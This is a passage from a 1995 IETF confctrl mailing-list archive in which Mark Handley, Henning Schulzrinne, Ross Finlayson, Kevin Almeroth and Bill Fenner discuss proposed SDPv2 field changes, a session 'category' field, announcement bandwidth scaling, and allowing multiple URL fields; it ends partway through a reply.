- It was suggested that email and phone fields should be able to
contain an additional text string (primarily to give the contact's
name).

- the draft should probably state a maximum length for i= fields and
possibly a maximum length for an announcement.

- we should probably state that an sdp client should be prepared to
listen on several multicast addresses simultaneously, rather than the
single well known address.  This is so we can take advantage of
administrative scoping by multicast "subnet" to scope announcements.

- ***Given the inconsistency of start and stop times, we should
probably not care about SDPv2 being a superset of SDPv1.  This allows
most of the possible changes below...***

- we should probably split the current c= field.  This is because we
use c fields to override the conference address and ttl and the start
and stop times are then not relevant.

  - the address and ttl should stay in the c= field
  - the start and stop times should move to the t= field.

- the t= field as currently described cannot cope with changes from
standard to daylight saving time properly.  The proposal is for the
following format (omitting spaces here for brevity):

  tfield ::= start-time stop-time [mins hrs dom mon dow duration corrections]
  corrections ::= "" | compensation c-start [corrections]

compensation is the offset from the times in the repeat interval in
hours (should this be seconds?).  c-start is the NTP start time for
the correction in seconds.

This is pretty ugly, but so far we haven't found anything better.

- If b= fields are to be used to set the slider on the media tool,
then they should be allowed in the media descriptions.  Currently
they're not.

- There was some discussion about whether b= fields as currently
defined apply per source or per conference.  We probably want per
source in the media fields and per conference in the session header.
Doing this without a modifier is overloading the default syntax of the
b= field.

To get arround this, we propose that the syntax of b fields should be:

b=modifier bandwidth-value (bandwidth-value)*

Ie, the modifier is compulsory and multiple bandwidth values can potentially
be supplied for certain modifiers as yet undefined.

Two modifiers are now suggested:

"AS" - application specific.  This is to be used in the media
descriptions along with a single bandwidth-value, which is the
applications peak bandwidth (however the application defines that).

By itself, this doesn't give enough data to figure how much bandwidth
a conference will use as the number of sources is unknown.

The other modifier is:

"CT" - conference total.  This is the sum of the AS fields for each
media times the number of expected simultaneous sources.  It should
only be given when the conference is significantly different in it's
bandwidth usage form the recommended figures in the Mbone FAQ.

- m= field.  The id is now obsolete for most purposes.  We remove it
form the media field.  It it is required by vat, we then use an "id"
attribute field until such time as vat uses RTP.

- no default format is or should be defined for a media.  Thus using
the fmt attribute for media format is wasteful.  We add the format to
the m= field.  Format can either be a single format or the name of a
format group.  (Format groups need defining...)  If two or more formats
are likely and there is no appropriate format group, alternative
formats can be defined using a fmt attribute?  (Is this preferable to
allowing lists on the fmt line?)

Format fields take one of two forms:

 - an RTP AVT profile name.
 - an application specific name for none-RTP applications.

Clearly there should be a mechanism for defining application specific
formats.  For experimentation, the "x-" notation should be used for
none-RTP applications.  The vat formats should probably be used as
"x-pcm2", etc, until vat moves to using RTP.

Using RTP AVT profile names means we don't have any way to specify
packetisation (the number of samples encoded in a packet) for audio
coding schemes.  The RTP AVT profile states that the default
packetisation is on 20ms unless the encoding scheme states otherwise.
If the default packetisation is used for a particular encoding scheme,
no attribute is required.  If a none-default packetisation scheme is
used, the attribute a=pt:<packetisation time> is used, where
packetisation time is in ms.

- The draft states in a number of places "UDP port".  This should be
replaced where appropriate with "transport port".

- The draft should state more clearly it's assumptions about transport
protocols.  Something along the following lines: "RTP applications by
default are RTP in UDP in IP.  For example, if we have a format of
"pcmu" then this is PCM u-law audio in RTP in UDP in IP.  For none RTP
applications, this is dependant on the format concerned.  SDP
descriptions may contain media that are not carried in IP."

- There is much overlap between o=, h= and e= fields.  We should
consider merging the o= and h= fields (o=username@ip-address), and
dropping the binary representation of the IP address from the sd
packet header.  This aids transition to IP6 when necessary.






From owner-confctrl@ISI.EDU  Wed May  3 17:21:30 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA06256>; Wed, 3 May 1995 06:25:19 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-21)
	id <AA06251>; Wed, 3 May 1995 06:25:15 -0700
Message-Id: <199505031325.AA06251@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Wed, 3 May 1995 15:22:05 +0200
X-Mailer: exmh version 1.6 4/21/95
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: confctrl
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Subject: Re: SDP "category" or "thread" field
In-Reply-To: Your message of "Wed, 03 May 1995 13:02:32 BST." <9256.799502552@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 03 May 1995 15:21:30 +0200
Sender: schulzrinne@fokus.gmd.de

First, I'd avoid specifying in detail how an application might display 
sessions (or not). As was said before, this is a protocol, not an 
application. (Which doesn't mean that we shouldn't be thinking about 
how things might get implemented, naturally.) Applications may decide 
that wildcard filtering (*.beatles), implicit hierarchical filtering 
(comp.protocols matches any comp.protocols.*), etc. are the right thing.

There's actually a strong disincentive to creating random categories if 
you want widespread distribution/visibility, as receivers will likely 
have to know about your category to have your announcement show up. On 
the other hand, I'd expect 'affinity groups' to create the equivalent 
of local hierarchies. e.g., gmd.radio within GMD.

The algorithm is simple: whichever newsgroup you post announcements to, 
you use in your SDP field :-) It seems to me that the existing Usenet 
hierarchy could serve reasonably well; people also tend to have a good 
idea as to what's generally appropriate for the existing groups 
(spammers etc. excluded), avoiding having to come up with new group 
descriptions.

I assume you were also thinking about 'cross-posting'? (Once you allow 
multiple groups for the same announcement, keywords become a kind of 
degenerate hierarchy).

Henning


From owner-confctrl@ISI.EDU  Wed May  3 16:01:46 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA07614>; Wed, 3 May 1995 07:02:26 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA07610>; Wed, 3 May 1995 07:02:24 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA04012>; Wed, 3 May 1995 07:02:19 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.18075-0@bells.cs.ucl.ac.uk>; Wed, 3 May 1995 15:01:48 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: confctrl
Subject: Re: SDP "category" or "thread" field
In-Reply-To: Your message of "Wed, 03 May 95 15:21:30 +0100."
Date: Wed, 03 May 95 15:01:46 +0100
Message-Id: <9569.799509706@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>First, I'd avoid specifying in detail how an application might display 
>sessions (or not). As was said before, this is a protocol, not an 
>application. (Which doesn't mean that we shouldn't be thinking about 
>how things might get implemented, naturally.) Applications may decide 
>that wildcard filtering (*.beatles), implicit hierarchical filtering 
>(comp.protocols matches any comp.protocols.*), etc. are the right thing.

I agree we shouldn't be specifying any algorithm - I was just trying
to indicate how it might be used, and therefore how it might not work
as well as I first thought.

>There's actually a strong disincentive to creating random categories if 
>you want widespread distribution/visibility, as receivers will likely 
>have to know about your category to have your announcement show up. On 
>the other hand, I'd expect 'affinity groups' to create the equivalent 
>of local hierarchies. e.g., gmd.radio within GMD.

Again, this is a UI issue, but I would normally expect that the
default might be to display the top level category if it's unknown.
If the default is not to display then discovering new conferences may
get tricky.  Thus there might actually be incentive to create a new
category to get your announcement seen.

I 'spose we could have a "category announcement protocol", and only
allow categories being announced by a category server to be used to
create new sessions :-) 

>The algorithm is simple: whichever newsgroup you post announcements to, 
>you use in your SDP field :-) It seems to me that the existing Usenet 
>hierarchy could serve reasonably well; people also tend to have a good 
>idea as to what's generally appropriate for the existing groups 
>(spammers etc. excluded), avoiding having to come up with new group 
>descriptions.

Actually I don't think this is a good idea.  Maybe when the number of
mbone users is similar to the number of usenet posters then it might
be OK, but for now I think we want far fewer categories and should not
encourage new cataegories until it's strictly necessary or finding our
existing conferences could be a problem!  It's the managing of the
transition from now to then that concerns me.

>I assume you were also thinking about 'cross-posting'? (Once you allow 
>multiple groups for the same announcement, keywords become a kind of 
>degenerate hierarchy).

You could presumably add multiple "category" fields - the equivalent of
cross-posting.  

I'm not sure "category" is the right word for this.  Jon came up with
"threadlet" :-)  

Mark

From owner-confctrl@ISI.EDU  Wed May  3 07:14:04 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA26321>; Wed, 3 May 1995 14:15:54 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA26317>; Wed, 3 May 1995 14:15:53 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA20657; Wed, 3 May 95 14:15:40 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA23544; Wed, 3 May 1995 14:15:30 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA28486; Wed, 3 May 1995 14:14:04 -0700
Date: Wed, 3 May 1995 14:14:04 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9505032114.AA28486@auckland.Eng.Sun.COM>
To: confctrl
Subject: Re: SDP "category" or "thread" field
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

I think we're getting a bit ahead of ourselves here.  Assuming that we want
a "category" field in SDP (and I'm not yet completely convinced that we do),
then any policies about how it might be structured are really higher-level
(presentation layer) issues that could be defined separately, not as part of
SDP.  Also, I think it would be unwise to try to enforce a particular
structure on such a field until we've had some experience with how it might
used.  As far as SDP is concerned, the "category" field, if it exists, could
be defined just as an string, or perhaps a list of strings (in anticipation
of the equivalent of crossposting).

There's also a more fundamental network protocol issue that we need to get a
grip on first.  The need to limit the bandwidth taken up by session
announcements imposes a practical limit on the number of announcements that
can be posted to a single session directory multicast group (within any
particular scope).   If the number of different announcements within a
single group/scope grows too large, then the average time interval between
repetitions of the same announcement will become excessive - it will take
too long for a newly-started client to find out about a fresh announcement,
or for clients to recover from lost packets in general.  The bandwidth
limits mentioned in Mark's recent SDP draft seem a bit low to me, but even
if they were bumped up a bit, it's hard to forsee how any single session
directory group could practically support anything remotely close to, say,
100 different announcements at large TTLs.  So I don't see much point
spending too much energy speculating about large numbers of announcements
with elaborate hierarchically-structured category fields.

Although multiple directory groups seem like the only way to scale SDP to
large numbers of announcements, I can see why it might make sense to impose
some sort of structure on the announcements that are present in a single
directory.  (E.g., it would be nice if a SDP client could recognize all of
the "IMS" announcements in the current "sd" directory as being part of a
collection; ditto for the "IETF" sessions, when they occur.)  So I suppose
that an optional "category" field might make sense.  But as I noted earlier,
it seems premature to try to impose any structure on such a field until we
have some experience with its use.

	Ross.

From owner-confctrl@ISI.EDU  Wed May  3 18:25:21 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA08998>; Wed, 3 May 1995 19:25:25 -0700
Received: from burdell.cc.gatech.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA08992>; Wed, 3 May 1995 19:25:24 -0700
Received: from flora.cc.gatech.edu (kevin@flora.cc.gatech.edu [130.207.8.20]) by burdell.cc.gatech.edu (8.6.12/8.6.9) with ESMTP id WAA00104 for <confctrl@ISI.EDU>; Wed, 3 May 1995 22:25:23 -0400
Received: (from kevin@localhost) by flora.cc.gatech.edu (8.6.10/8.6.9) id WAA11006 for confctrl@ISI.EDU; Wed, 3 May 1995 22:25:21 -0400
Date: Wed, 3 May 1995 22:25:21 -0400
From: kevin@cc.gatech.edu (Kevin C. Almeroth)
Message-Id: <199505040225.WAA11006@flora.cc.gatech.edu>
To: confctrl
Subject: Re: SDP "category" or "thread" field


   An inherent problem with using pre-defined categories is that at some 
point, some two users will disagree on what the set of well-known 
categories should include.  One person will want all the IMS sessions 
together.  One person will want all the ``news'' related sessions together, 
etc.  So pre-defined categories are out.

   So the question needs to be answered:  Does a user-defined category 
field add anything NEW to the announcement?

   A random thought: I envision an sd-like application that parses the 
name and description, then groups all the IMS sessions or all the default 
MBONE sessions, or all the IETF sessions into its own hierarchical 
category.  This of course can be written now.

   So is there any information that we wouldn't want to include in the
name or description, but include in a category field?  Maybe ``category`` 
should be 0 or more ``keywords'' like ``private'', ``shuttle'', 
``concert'', etc.

   I'm starting to think that category might be redundant since all the
useful information should already be in the name and description fields.


-Kevin Almeroth

From owner-confctrl@ISI.EDU  Thu May  4 13:01:11 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA21824>; Thu, 4 May 1995 04:05:05 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA21820>; Thu, 4 May 1995 04:05:04 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA21784>; Thu, 4 May 1995 04:04:46 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10826-0@bells.cs.ucl.ac.uk>; Thu, 4 May 1995 12:01:17 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: finlayson@eng.sun.com
Cc: confctrl
Subject: Re: SDP "category" or "thread" field
In-Reply-To: Your message of "Wed, 03 May 95 14:14:04 PDT." <9505032114.AA28486@auckland.Eng.Sun.COM>
Date: Thu, 04 May 95 12:01:11 +0100
Message-Id: <11689.799585271@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>I think we're getting a bit ahead of ourselves here.  Assuming that we want
>a "category" field in SDP (and I'm not yet completely convinced that we do),
>then any policies about how it might be structured are really higher-level
>(presentation layer) issues that could be defined separately, not as part of
>SDP.  Also, I think it would be unwise to try to enforce a particular
>structure on such a field until we've had some experience with how it might
>used.  As far as SDP is concerned, the "category" field, if it exists, could
>be defined just as an string, or perhaps a list of strings (in anticipation
>of the equivalent of crossposting).

I'm not completely convinced about category fields either, which is
why I raised it on the list.  However, having another text field with
free format may not add too much to the existing free format fields.

If we do have such a field, and define it as a list of strings, then I
would suggest that this is then a set of keywords to all intents and
purposes.

Either way, such a field is of little use to application writers
unless it has some definition as to the meaning of its contents.
You might as well attempt to parse the session name and information.

>There's also a more fundamental network protocol issue that we need to get a
>grip on first.  The need to limit the bandwidth taken up by session
>announcements imposes a practical limit on the number of announcements that
>can be posted to a single session directory multicast group (within any
>particular scope).   If the number of different announcements within a
>single group/scope grows too large, then the average time interval between
>repetitions of the same announcement will become excessive - it will take
>too long for a newly-started client to find out about a fresh announcement,
>or for clients to recover from lost packets in general.  

But you're assuming exactly sd's distribution model.  There's lots of
things that can be done to improve on sd's model (for example client
proxy caching).  It's also possible that sd's model will simply be
replaced - Van has suggested a client-server model which may be
adopted some time in the future.

I think it's important to distinguish between SDP - for describing
sessions - and the session directory announcement protocol (SDAP?).
We may replace SDAP, but still want to retain SDP.  Thus SDP should be
"complete" without taking the distribution model into account to gain
extra semantic information.  Hence the discuss about categorisation.

>The bandwidth
>limits mentioned in Mark's recent SDP draft seem a bit low to me, but even
>if they were bumped up a bit, it's hard to forsee how any single session
>directory group could practically support anything remotely close to, say,
>100 different announcements at large TTLs.  So I don't see much point
>spending too much energy speculating about large numbers of announcements
>with elaborate hierarchically-structured category fields.

The current figures may be too low.  It's easier to increase them
later than to reduce them!

Currently for 100 typical announcements with short text descriptions
(ie 200 bytes per announcement) at ttl 127, you get 1.8 announcements
per session per hour.  With client proxy caching for fast startup,
this is sufficient for most pre-announced sessions.  If you allow more
b/w when a session is created and when it is about to become active,
then this improves further.

Many more sessions are likely to be at lower ttl's.

Thus I reckon the current model scales beyond the limits of the
current Mbone and certainly beyond the limits of a UI to present the
data properly.

>Although multiple directory groups seem like the only way to scale SDP to
>large numbers of announcements, I can see why it might make sense to impose
>some sort of structure on the announcements that are present in a single
>directory.  

Multiple session groups will be necessary, but I reckon they'll come
through hierarchical multicast and administrative scoping, not through
arbitrary choices of session directories.  Thus they don't affect
whether or not a category field is necessary.

>(E.g., it would be nice if a SDP client could recognize all of
>the "IMS" announcements in the current "sd" directory as being part of a
>collection; ditto for the "IETF" sessions, when they occur.)  So I suppose
>that an optional "category" field might make sense.  But as I noted earlier,
>it seems premature to try to impose any structure on such a field until we
>have some experience with its use.

The IETF sessions are a bad example.  IETF Channel 1 audio, IETF
Channel 1 GSM Audio, IETF Channel 1 Video and IETF Channel 1
Whiteboard should all be one announcement, albeit with multiple
multicast addresses and multiple ttls.  SPDv2 as it's written at the
moment allows this.  It's up to the client to allow the user to start
up only a subset of the media.

The IMS sessions are a better example.  That's the sort of grouping
I'd like to see, but don't believe we can do properly with the
existing spec.

Mark



From owner-confctrl@ISI.EDU  Thu May  4 17:34:08 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28579>; Thu, 4 May 1995 08:40:16 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA28575>; Thu, 4 May 1995 08:40:15 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA22667>; Thu, 4 May 1995 08:35:08 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.21927-0@bells.cs.ucl.ac.uk>; Thu, 4 May 1995 16:34:06 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: kevin@cc.gatech.edu (Kevin C. Almeroth)
Cc: confctrl
Subject: Re: SDP "category" or "thread" field
In-Reply-To: Your message of "Wed, 03 May 95 22:25:21 EDT." <199505040225.WAA11006@flora.cc.gatech.edu>
Date: Thu, 04 May 95 16:34:08 +0100
Message-Id: <12493.799601648@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>   So is there any information that we wouldn't want to include in the
>name or description, but include in a category field?  Maybe ``category`` 
>should be 0 or more ``keywords'' like ``private'', ``shuttle'', 
>``concert'', etc.

Unfortunately there are some problems with keywords too.  If you
actually want to find out about new sessions, then you have to use
keywords as an exclusion list rather than an inclusion list.  If the
keyword set gets large (and lets face it, with several hundred
languages out there it will do), then this stops being useful unless
some keywords are compulsory (such as the language the session is in)
so that you can use them as a first pass filter, and if you're using
it that way it's awfully close to a hierarchy.

Hierarchical categories suffer less from having to make an
inclusion/exclusion choice because the choice can be context sensitive
(ie depend on the higher categories).

If you have a frequently used keyword list to restrict the choices,
you'd better provide translations to other languages and unfortunately
single word translations are never a good match :-(

>   I'm starting to think that category might be redundant since all the
>useful information should already be in the name and description fields.

But they can be in any language and (given unicode encoding) any
charset.  

Of course if we do add an extra "subject" fields of some form,
receivers can always ignore it, or categorise on name and information
but at least there is some info as to how the session creator thought
it should be categorised.

Mark

From owner-confctrl@ISI.EDU  Thu May  4 05:34:23 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA10080>; Thu, 4 May 1995 12:35:56 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA10076>; Thu, 4 May 1995 12:35:55 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA22865; Thu, 4 May 95 12:35:53 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA14349; Thu, 4 May 1995 12:35:49 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA02194; Thu, 4 May 1995 12:34:23 -0700
Date: Thu, 4 May 1995 12:34:23 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9505041934.AA02194@auckland.Eng.Sun.COM>
To: confctrl
Subject: Re: SDP "category" or "thread" field
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

> >There's also a more fundamental network protocol issue that we need to get a
> >grip on first.  The need to limit the bandwidth taken up by session
> >announcements imposes a practical limit on the number of announcements that
> >can be posted to a single session directory multicast group (within any
> >particular scope).   If the number of different announcements within a
> >single group/scope grows too large, then the average time interval between
> >repetitions of the same announcement will become excessive - it will take
> >too long for a newly-started client to find out about a fresh announcement,
> >or for clients to recover from lost packets in general.  
> 
> But you're assuming exactly sd's distribution model.  There's lots of
> things that can be done to improve on sd's model (for example client
> proxy caching).  It's also possible that sd's model will simply be
> replaced - Van has suggested a client-server model which may be
> adopted some time in the future.

Yes, it's true that a variety of announcement/discovery schemes could be used.
(For instance, we used a client-server multicast naming mechanism in the
V-System about 10 years ago, although back then it was used on a LAN only.)

Note though, that there's a fundamental tradeoff (between bandwidth
consumption, number of different announcements, and freshness of
information) that applies no matter which particular scheme is used.
Bits need to traverse the Internet from the announcers to the recipients
somehow, whether it's by having the announcers 'push', by having the
recipients 'pull', or some combination thereof.

In any case, I still contend that it will be impractical to support, using a
single SD group, very large numbers of announcements over the scope of the
global Internet.  Although, as you've noted, this won't be as true for lower
TTLs (because of their tolerance of higher bandwidth).  But I guess we'll
just have to see how this all works out...

	Ross.

From owner-confctrl@ISI.EDU  Thu May  4 22:06:49 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA11374>; Thu, 4 May 1995 13:09:38 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA11370>; Thu, 4 May 1995 13:09:37 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA26331>; Thu, 4 May 1995 13:09:22 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.08965-0@bells.cs.ucl.ac.uk>; Thu, 4 May 1995 21:07:02 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: finlayson@eng.sun.com
Cc: confctrl
Subject: Re: SDP "category" or "thread" field
In-Reply-To: Your message of "Thu, 04 May 95 12:34:23 PDT." <9505041934.AA02194@auckland.Eng.Sun.COM>
Date: Thu, 04 May 95 21:06:49 +0100
Message-Id: <13196.799618009@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>> But you're assuming exactly sd's distribution model.  There's lots of
>> things that can be done to improve on sd's model (for example client
>> proxy caching).  It's also possible that sd's model will simply be
>> replaced - Van has suggested a client-server model which may be
>> adopted some time in the future.
>
>Yes, it's true that a variety of announcement/discovery schemes could be used.
>(For instance, we used a client-server multicast naming mechanism in the
>V-System about 10 years ago, although back then it was used on a LAN only.)
>
>Note though, that there's a fundamental tradeoff (between bandwidth
>consumption, number of different announcements, and freshness of
>information) that applies no matter which particular scheme is used.
>Bits need to traverse the Internet from the announcers to the recipients
>somehow, whether it's by having the announcers 'push', by having the
>recipients 'pull', or some combination thereof.

Agreed.  However, scaling benefits only occur when filtering occurs
along the path.  You suggested one mechanism for this -
subdirectories.  I think this creates other problems - address
allocation clashes.

Basically we agree on what the problem is - we disagree on when it
will hit us.

>In any case, I still contend that it will be impractical to support, using a
>single SD group, very large numbers of announcements over the scope of the
>global Internet.  Although, as you've noted, this won't be as true for lower
>TTLs (because of their tolerance of higher bandwidth).  But I guess we'll
>just have to see how this all works out...

I believe that we will have a problem with annoucement bandwidth or
with annoucement freshness - I also believe that this problem is
further off than two other problems:

  - lack of bandwidth for the sessions themselves in the current Mbone.
    This I hope will be solved by a combination of hierarchical
    multicast, administrative scoping and general bandwidth increases in
    the internet.  If not, then this whole discussion is irrelevant
    anyway!

  - problems finding relevant sessions amongst irrelevant sessions
    whilst still finding out about new topics.  This was the purpose of
    having a "subject" or "category" field in SDP.

I believe that by making a strong distinction between the description
and the announcement protocols, we can wait a little while to solve
the announcement problem.  Thus we'll be doing so in the light of an
Mbone significantly different from todays.  I don't want to attempt to
prejudge what the actual Mbone solutions will be.  I believe that with
careful use, the existing annoucement protocol will last long enough
to see what the transition brings, and thus give us a much better idea
of the possible solutions.  What I want to do now is attempt to smooth
the growth by (partially) solving the second of the two problems in
SDP.

I know the first problem will bite us eventually - I just don't
believe we know enough about the future of the Mbone to suggest the
right solution today, and I also don't believe the problem is critical
right now either.

Mark





From owner-confctrl@ISI.EDU  Mon May  8 09:41:58 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA21795>; Mon, 8 May 1995 16:42:16 -0700
Received: from alpha.Xerox.COM by venera.isi.edu (5.65c/5.61+local-21)
	id <AA21787>; Mon, 8 May 1995 16:42:14 -0700
Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <14551(5)>; Mon, 8 May 1995 16:42:08 PDT
Received: by crevenia.parc.xerox.com id <49859>; Mon, 8 May 1995 16:41:59 -0700
From: Bill Fenner <fenner@parc.xerox.com>
To: confctrl
Subject: SDPv2 and URL's
Message-Id: <95May8.164159pdt.49859@crevenia.parc.xerox.com>
Date: Mon, 8 May 1995 16:41:58 PDT

The subject of URL's in session descriptions came up today, and I remembered
a comment that I had on the SDPv2 spec.

Three examples out of my sd archives (no, I have no clue why I keep sd
archives.)

i=IVS 3.4 format audio/video on the default ivs multicast address.
Please do not send high rate (> 64 kbps) video with high ttl (>32)
without checking that it does not conflict with others scheduled
transmissions. The current MBone agenda can be looked at
<http://www.cilea.it/MBone/agenda.html>. Further information about ivs
is available at the following URL: <http://www.inria.fr/rodeo/ivs.html>

i=Multicast of keynote and plenary sessions from Washington, DC,
Convention Center. See http://sc94.ameslab.gov for general information
and http://sc94.ameslab.gov/AP/glance.html for schedule. Biology and
Medicine Plenary Thursday at 1:30 pm EST by Christopher Johnson (Utah).
Direct any questions or concerns to elbert@ameslab.gov.

i=World Domination Records, Windswept Pacific, IUMA, Starwave, and Nick
Turner of Firstars Management present the Seattle-based techno/ambient
rock band Sky Cries Mary. For more information visit
http://www.starwave.com/corp/scm/   Email feedback is welcome at
skycries@starwave.com. This is a nv/CellB vat/PCM2 broadcast. Questions
regarding this beoadcast should be directed to Eric Davis
(ericd@interop.net) http://www.classified.com/people/ericd.html

Each of these people found it useful to include multiple URL's for
different types of information.  If SDPv2's u= doesn't provide
similar functionality (i.e. multiple URL's with an optional description
of each one), then people are likely to just put the URL's in the
i= field anyway and defeat the purpose of u=.

I propose to allow multiple u= fields, and associate an optional
description with each one, i.e.

u=http://sc94.ameslab.gov General information
u=http://sc94.ameslab.gov/AP/glance.html Schedule

Since whitespace in URL's should be able to be encoded using the URL
escape mechanism, whitespace should be a sufficient seperator between
the URL and the description.

A description like "Further information" could apply to any URL
without a description, but that's an application thing.

Comments?...

  Bill

(P.S. I am not on confctrl, I have been trying to subscribe for an awfully
long time, so I wrote a program that fetches the archives and inc's the
new messages into my inbox -- so, if you want quick repsonse, cc me on
replies)

From owner-confctrl@ISI.EDU  Tue May  9 12:46:41 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA16127>; Tue, 9 May 1995 03:50:30 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16123>; Tue, 9 May 1995 03:50:29 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA18122>; Tue, 9 May 1995 03:50:21 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.10161-0@bells.cs.ucl.ac.uk>; Tue, 9 May 1995 11:46:48 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Bill Fenner <fenner@parc.xerox.com>
Cc: confctrl
Subject: Re: SDPv2 and URL's
In-Reply-To: Your message of "Mon, 08 May 95 16:41:58 PDT." <95May8.164159pdt.49859@crevenia.parc.xerox.com>
Date: Tue, 09 May 95 11:46:41 +0100
Message-Id: <5777.800016401@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>The subject of URL's in session descriptions came up today, and I remembered
>a comment that I had on the SDPv2 spec.
>
>Three examples out of my sd archives (no, I have no clue why I keep sd
>archives.)

..

>I propose to allow multiple u= fields, and associate an optional
>description with each one, i.e.
>
>u=http://sc94.ameslab.gov General information
>u=http://sc94.ameslab.gov/AP/glance.html Schedule
>
>Since whitespace in URL's should be able to be encoded using the URL
>escape mechanism, whitespace should be a sufficient seperator between
>the URL and the description.
>
>A description like "Further information" could apply to any URL
>without a description, but that's an application thing.

The reason why I suggested a single URL is simply that we should
attempt to move away from full descriptions of sessions in the "i"
field.  The Web is now sufficiently prolific that the norm should be
for most of a session description to be on the WWW server.  If only a
single URL is allowed, this tends to encourage this.  If we allow
multiple URLs then people will probably continue the current method of
having long descriptions.

As the number of announced sessions increases, the proportion of
sessions people want to see much information about decreases, and the
more you want SDP sessions to convey only essential information.  If
you're going to the effort to put a multicast together, then surely
you should be prepared to put together a few lines of description on
the Web which can easily then link to other relevant information?

Mark

From owner-confctrl@ISI.EDU  Tue May  9 05:00:33 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA04542>; Tue, 9 May 1995 12:02:14 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA04509>; Tue, 9 May 1995 12:02:11 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA08199; Tue, 9 May 95 12:02:09 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA07442; Tue, 9 May 1995 12:02:04 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA26550; Tue, 9 May 1995 12:00:33 -0700
Date: Tue, 9 May 1995 12:00:33 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9505091900.AA26550@auckland.Eng.Sun.COM>
To: confctrl
Subject: Re: SDPv2 and URL's
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

> >I propose to allow multiple u= fields, and associate an optional
